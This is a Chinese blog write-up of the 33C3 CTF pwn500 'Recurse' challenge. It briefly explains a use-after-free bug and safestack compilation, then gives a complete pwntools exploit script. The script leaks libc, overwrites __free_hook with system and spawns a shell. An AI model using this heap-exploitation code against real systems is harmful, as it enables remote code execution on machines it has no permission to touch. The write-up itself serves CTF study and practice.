您的位置:首页 > 其它

33c3-pwn500-recurse

2017-04-01 23:08 357 查看

Recurse

好记性不如烂笔头。当时没有记录,现在趁着有时间简单写一写,为以后留备份。

这个题目当时并没有队伍做出来,赛后作者发布了题目的源码和解答。看了之后发现是一个UAF漏洞,不过漏洞很不好找。直接用IDA的F5看代码会感觉怪怪的,这是因为程序的编译用到了safestack,safestack是llvm中一种防止内存破坏漏洞的措施,该机制将栈分为了safestack和unsafestack。clang编译器动态的生成一段空间来作为unsafestack并将一些有可能发生内存破坏的变量放到其中。Unsafestack的地址可以通过程序的tls(thread local storage)获取,如下图:

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *
#context.log_level = 'debug'

HOST = '127.0.0.1'
PORT = 10000
r = remote(HOST, PORT)

def enter(name = 'AAAA'):
r.readuntil('iterate')
r.sendline('2')
r.readuntil('name?')
r.sendline(name)

def leave():
r.readuntil('iterate')
r.sendline('6')

def trigger_uaf():
enter('A'*140*1024)
for i in range(33):
r.readn(4095)

r.readuntil('iterate')
r.sendline('3')
leave()

MSB = '\x7f'
libc_leak_off = 0x3bdb58
free_hook = 0x3bf788
system = 0x43f40

raw_input('go!')
r.readuntil('name?')
r.sendline(p64(0x31))

r.readuntil('iterate')
r.sendline('1')
r.readuntil('name?')
r.sendline('A'*400)
raw_input('go!')

enter(p64(0x31)*8)
enter(p64(0x31)*8)

trigger_uaf()
raw_input('After trigger UAF')
enter(p64(0x31)*8)
enter(p64(0x31)*8)

enter(p64(0x31)*7)
small_data = p64(0x31) + p64(0) + '\x00'*0xe
enter(small_data)
enter(small_data)

leave()
leave()
leave()

leave()
leave()
leave()
leave()

leak = r.readuntil('iterate')
leak_off = leak.find(MSB)-5
assert leak_off >= 0
libc = u64(leak[leak_off:leak_off+8]) - libc_leak_off

r.unrecv('iterate')
r.readuntil('iterate')
r.sendline('1')
r.readuntil('name?')
fakefd = libc - 0x100
data1 = 0xa0*'\x00' + p64(0x240) + p64(0x31) + p64(fakefd)
r.sendline(data1)

raw_input('stop here')
enter('a'*16)
enter('b'*16)
enter(p64(0x31)+'\x00')
data2 = 'a'*24 + p64(libc+free_hook)[:6]
enter(data2)
leave()
leave()

r.readuntil('iterate')
r.sendline('1')
r.readuntil('name?')
r.sendline(p64(libc+system))
enter('/bin/sh\x00'*2)
leave()
r.interactive()


View Code

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: